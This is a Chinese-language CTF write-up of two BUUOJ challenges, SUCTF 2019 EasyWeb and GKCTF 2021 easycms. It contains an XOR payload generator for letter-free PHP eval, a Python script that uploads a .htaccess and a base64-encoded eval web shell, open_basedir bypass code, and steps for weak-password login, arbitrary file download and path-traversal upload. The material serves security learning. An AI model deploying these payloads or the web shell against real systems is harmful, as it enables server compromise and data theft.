学习记录1
[SUCTF 2019]EasyWeb
直接给了源代码,分析一下
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
定义了一个名为 get_the_flag
的函数。基于用户的IP地址生成一个MD5哈希值,并将其附加到目录路径中,用于创建一个唯一的用户目录。
检查是否有文件通过POST请求上传。获取上传文件的临时文件名、原始文件名以及文件扩展名。如果文件扩展名包含“ph”字符(不区分大小写),则终止程序并输出 ^_^
。检查上传文件的内容,如果包含 <?
(PHP代码标记),则终止程序并输出 ^_^
。验证文件是否为合法的图像文件,如果不是,则终止程序并输出 ^_^
。
获取GET请求参数 _
的值,并将其存储在变量 $hhh
中。如果 $hhh
为空,则显示当前文件的源代码。如果 $hhh
的长度超过18个字符,则终止程序并输出 'One inch long, one inch strong!'。
如果 $hhh
包含特定的字符(如控制字符、字母数字等),则终止程序并输出 'Try something else!'。计算 $hhh
中不同字符的数量,如果超过12种不同字符,则终止程序并输出 "Almost there!"。
很显然需要通过无字符RCE去调用上面的get_the_flag
函数(长度限制导致也用不了其他的)。看到这个长度限制,可以考虑构造$_GET[]();
的格式来调用,此处[]
被过滤可以采用{}
来替代也是一样的。
无数字字母,,可以采用异或、取反、自增绕过
这里取反无法实现,这里对长度有要求,所以自增也放弃,采用异或来进行绕过,
异或脚本:
<?php
function finds($string){
$index = 0;
$a=[33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
$index++;
if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET");
?>
运行后得到
G
%86^%c1
E
%86^%c3
T
%86^%d2
_
%86^%d9
替换即可
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
可以看到禁用了很多函数。
还有目录。
接下来就可以考虑get_the_flag
函数的内容了,该函数主要是写入文件,但是有限制,既文件名不能包含ph
问价内容也不能包含<?
,这里可以采用.htaccess
(phpinfo页面可以看出这是apache服务器),通过其php_value auto_append_file
指定文件被PHP包含,通过AddType application/x-httpd-php
指定文件被解析,此外这条配置是兼容php伪协议的,所以我们可以采用php://filter
伪协议进行base64编码处理,这样就能绕过对<?
的检测了。
还有个文件头检测,一般都用GIF89进行绕过,但是这里会出现问题,.htaccess文件会无法生效
我们可以使用#define width 1337 #define height 1337
进行绕过,#在.htaccess中表示注释
所以我们的.htaccess文件内容如下:
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"
ljh.ahhh:
GIF89a11 #11是为了补足8个字节,满足base64编码的规则
PD9waHAgZXZhbCgkX1JFUVVFU1RbJ2NtZCddKTs/Pg==
上传脚本
import requests
import base64
htaccess = b"""
#define width 1337
#define height 1337
AddType application/x-httpd-php .ahhh
php_value auto_append_file "php://filter/convert.base64-decode/resource=./ljh.ahhh"
"""
shell = b"GIF89a12" + base64.b64encode(b"<?php eval($_REQUEST['cmd']);?>")
url = "http://42c08927-13b5-4057-9ece-35c5441d0c52.node5.buuoj.cn:81/?_=${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=get_the_flag"
files = {'file':('.htaccess',htaccess,'image/jpeg')}
data = {"upload":"Submit"}
response = requests.post(url=url, data=data, files=files)
print(response.text)
files = {'file':('ljh.ahhh',shell,'image/jpeg')}
response = requests.post(url=url, data=data, files=files)
print(response.text)
得到上传路径。
upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/.htaccess
upload/tmp_5e6f2693d111128ec4f1d7336f65b87f/ljh.ahhh
连接蚁剑后看到
接下来就需要考虑之前phpinfo中看到的关于open_basedir
和disable_function
的限制了,这里新建个php文件用通用的函数组合来绕过限制。
<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
?>
涉及到bypass open_basedir的新方法具体可看bypass open_basedir的新方法 - 先知社区
得到
知道flag的位置,接着读取。
<?
mkdir('img');
chdir('img');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basesir','/');
var_dump(scandir('/'));
echo "<hr>";
echo file_get_contents("/THis_Is_tHe_F14g");
?>
总结:
无数字字母的rce绕过,采用异或方法。文件上传绕过。绕过open_basedir。
shell.php的解释:
创建了一个名为img
的目录,并切换到该目录下。
将open_basedir
设置为..
,试图限制PHP的文件访问到父目录。然后,通过多次向上导航,是为了到达根目录(/
)。
使用scandir('/')
列出根目录的内容。
open_basedir
open_basedir是php.ini中的一个配置选项,它可将用户访问文件的活动范围限制在指定的区域,
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的
用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是
可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
无论是file_get_contents函数还是highlight_file都无效.、
[GKCTF 2021]easycms
是一个蝉知的cms,先用dirsearch扫一下目录。
扫到后台登录,尝试后是弱口令
admin 12345
登录进去以后有两种方法
一. 任意文件下载
设计——自定义——导出主题——保存
http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvMS56aXA=
复制下载链接。
最后是一串base64编码,解密后是/var/www/html/system/tmp/theme/default/12.zip
而且是文件的绝对路径,我们直接包含/flag就可以了,base64加密一下成为L2ZsYWc=
http://0d596828-1cc5-4dc1-acea-4aebd062f41d.node5.buuoj.cn:81/admin.php?m=ui&f=downloadtheme&=L2ZsYWc=
下载后是个压缩包,将文件扩展名改成.txt
或者直接用notepad++
打开得到flag
二. 文件上传
设计——自定义——首页——编辑,选择php源代码
保存的时候要我先创建一个cksj文件,这个文件名是每个人不一样的。
设计——组件——素材库——上传素材
先上传一个txt文件然后编辑它的名称,改成…/…/…/…/…/system/tmp/cksj
编辑php后返回首页得到flag